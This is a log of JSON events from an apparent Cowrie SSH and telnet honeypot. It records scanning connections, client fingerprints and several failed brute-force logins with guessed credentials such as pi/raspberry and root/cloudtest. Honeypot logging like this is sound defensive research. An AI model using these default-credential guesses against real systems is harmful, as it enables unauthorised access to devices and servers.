{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35086,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8550fc24662","protocol":"telnet","message":"New connection: 174.138.46.234:35086 (159.203.135.109:23) [session: a8550fc24662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:36.877925Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.224.190.63","src_port":62196,"dst_ip":"159.203.135.109","dst_port":22,"session":"68dfe0d74080","protocol":"ssh","message":"New connection: 149.224.190.63:62196 (159.203.135.109:22) [session: 68dfe0d74080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:37.987482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:37.995490Z","src_ip":"149.224.190.63","session":"68dfe0d74080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c11b200866cf918393e62ea25d851d90","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: c11b200866cf918393e62ea25d851d90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:38.089664Z","src_ip":"149.224.190.63","session":"68dfe0d74080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.224.190.63","src_port":62484,"dst_ip":"159.203.135.109","dst_port":22,"session":"980223b3e79d","protocol":"ssh","message":"New connection: 149.224.190.63:62484 (159.203.135.109:22) [session: 980223b3e79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:38.432349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:38.436882Z","src_ip":"149.224.190.63","session":"980223b3e79d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c11b200866cf918393e62ea25d851d90","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: c11b200866cf918393e62ea25d851d90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:38.532000Z","src_ip":"149.224.190.63","session":"980223b3e79d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberryraspberry993311","message":"login attempt [pi/raspberryraspberry993311] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:38.549683Z","src_ip":"149.224.190.63","session":"68dfe0d74080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:39.001091Z","src_ip":"149.224.190.63","session":"980223b3e79d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:39.645740Z","src_ip":"149.224.190.63","session":"68dfe0d74080","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:40.099227Z","src_ip":"149.224.190.63","session":"980223b3e79d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34922,"dst_ip":"159.203.135.109","dst_port":23,"session":"d47566680989","protocol":"telnet","message":"New connection: 174.138.46.234:34922 (159.203.135.109:23) [session: d47566680989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:40.336707Z"}
{"eventid":"cowrie.session.closed","duration":4.997912645339966,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:40.915741Z","src_ip":"174.138.46.234","session":"ec97e26560c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.669252634048462,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:40.960509Z","src_ip":"174.138.46.234","session":"3589f748d192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8233492374420166,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:41.159927Z","src_ip":"174.138.46.234","session":"d47566680989","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.004777431488037,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:41.882597Z","src_ip":"174.138.46.234","session":"a8550fc24662","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":48596,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b921f62d4bd","protocol":"ssh","message":"New connection: 135.235.138.43:48596 (10.17.0.5:22) [session: 1b921f62d4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:45.358724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:45.363741Z","src_ip":"135.235.138.43","session":"1b921f62d4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:45.547201Z","src_ip":"135.235.138.43","session":"1b921f62d4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer12","message":"login attempt [ubuntu/developer12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:46.309886Z","src_ip":"135.235.138.43","session":"1b921f62d4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:47.496564Z","src_ip":"135.235.138.43","session":"1b921f62d4bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35360,"dst_ip":"10.17.0.5","dst_port":23,"session":"e75f4601deeb","protocol":"telnet","message":"New connection: 23.111.140.22:35360 (10.17.0.5:23) [session: e75f4601deeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:15.333188Z"}
{"eventid":"cowrie.session.closed","duration":43.979299545288086,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:16.342191Z","src_ip":"174.138.46.234","session":"4abe2361e4e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49842,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebb297998c22","protocol":"telnet","message":"New connection: 174.138.46.234:49842 (159.203.135.109:23) [session: ebb297998c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:25.915174Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49852,"dst_ip":"159.203.135.109","dst_port":23,"session":"54484f6434be","protocol":"telnet","message":"New connection: 174.138.46.234:49852 (159.203.135.109:23) [session: 54484f6434be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:25.996995Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50176,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dfb689c4c3f","protocol":"telnet","message":"New connection: 174.138.46.234:50176 (159.203.135.109:23) [session: 1dfb689c4c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:27.161041Z"}
{"eventid":"cowrie.session.closed","duration":5.993008136749268,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:31.989892Z","src_ip":"174.138.46.234","session":"54484f6434be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.922197103500366,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:35.083144Z","src_ip":"174.138.46.234","session":"1dfb689c4c3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":47980,"dst_ip":"10.17.0.5","dst_port":22,"session":"88d627d73aa3","protocol":"ssh","message":"New connection: 135.235.138.43:47980 (10.17.0.5:22) [session: 88d627d73aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:51.731899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:51.736499Z","src_ip":"135.235.138.43","session":"88d627d73aa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:51.924806Z","src_ip":"135.235.138.43","session":"88d627d73aa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r","message":"login attempt [ubuntu/q1w2e3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:52.711843Z","src_ip":"135.235.138.43","session":"88d627d73aa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:53.952708Z","src_ip":"135.235.138.43","session":"88d627d73aa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.05680847167969,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:46:55.389870Z","src_ip":"23.111.140.22","session":"e75f4601deeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.1048481464386,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:09.019815Z","src_ip":"174.138.46.234","session":"ebb297998c22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35582,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cd884bac21a","protocol":"telnet","message":"New connection: 174.138.46.234:35582 (159.203.135.109:23) [session: 7cd884bac21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:14.308061Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35816,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8d4a6fbe4b2","protocol":"telnet","message":"New connection: 174.138.46.234:35816 (159.203.135.109:23) [session: f8d4a6fbe4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:15.033052Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36156,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec903679eb24","protocol":"telnet","message":"New connection: 174.138.46.234:36156 (159.203.135.109:23) [session: ec903679eb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:16.230277Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35954,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6ccc2b4fb5f","protocol":"telnet","message":"New connection: 174.138.46.234:35954 (159.203.135.109:23) [session: c6ccc2b4fb5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:16.586126Z"}
{"eventid":"cowrie.session.closed","duration":5.474437952041626,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:19.782403Z","src_ip":"174.138.46.234","session":"7cd884bac21a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.939040899276733,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:21.525053Z","src_ip":"174.138.46.234","session":"c6ccc2b4fb5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.946466684341431,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:22.176625Z","src_ip":"174.138.46.234","session":"ec903679eb24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39080,"dst_ip":"159.203.135.109","dst_port":23,"session":"4698bc16a9bc","protocol":"telnet","message":"New connection: 174.138.46.234:39080 (159.203.135.109:23) [session: 4698bc16a9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:26.032411Z"}
{"eventid":"cowrie.session.closed","duration":5.924878358840942,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:31.957143Z","src_ip":"174.138.46.234","session":"4698bc16a9bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":45770,"dst_ip":"10.17.0.5","dst_port":22,"session":"f38b4b24517c","protocol":"ssh","message":"New connection: 135.235.138.43:45770 (10.17.0.5:22) [session: f38b4b24517c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:52.007315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:52.011425Z","src_ip":"135.235.138.43","session":"f38b4b24517c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:52.198633Z","src_ip":"135.235.138.43","session":"f38b4b24517c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloudtest","message":"login attempt [root/cloudtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:52.980809Z","src_ip":"135.235.138.43","session":"f38b4b24517c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:47:54.172567Z","src_ip":"135.235.138.43","session":"f38b4b24517c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50564,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4e6b36d6801","protocol":"telnet","message":"New connection: 174.138.46.234:50564 (159.203.135.109:23) [session: c4e6b36d6801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:05.682788Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50752,"dst_ip":"159.203.135.109","dst_port":23,"session":"0448464a8a56","protocol":"telnet","message":"New connection: 174.138.46.234:50752 (159.203.135.109:23) [session: 0448464a8a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:06.369356Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50874,"dst_ip":"159.203.135.109","dst_port":23,"session":"6510ed6c50cc","protocol":"telnet","message":"New connection: 174.138.46.234:50874 (159.203.135.109:23) [session: 6510ed6c50cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:06.777851Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51014,"dst_ip":"159.203.135.109","dst_port":23,"session":"68b3e31947c0","protocol":"telnet","message":"New connection: 174.138.46.234:51014 (159.203.135.109:23) [session: 68b3e31947c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:07.315827Z"}
{"eventid":"cowrie.session.closed","duration":52.46088457107544,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:07.493845Z","src_ip":"174.138.46.234","session":"f8d4a6fbe4b2","protocol":"telnet"}
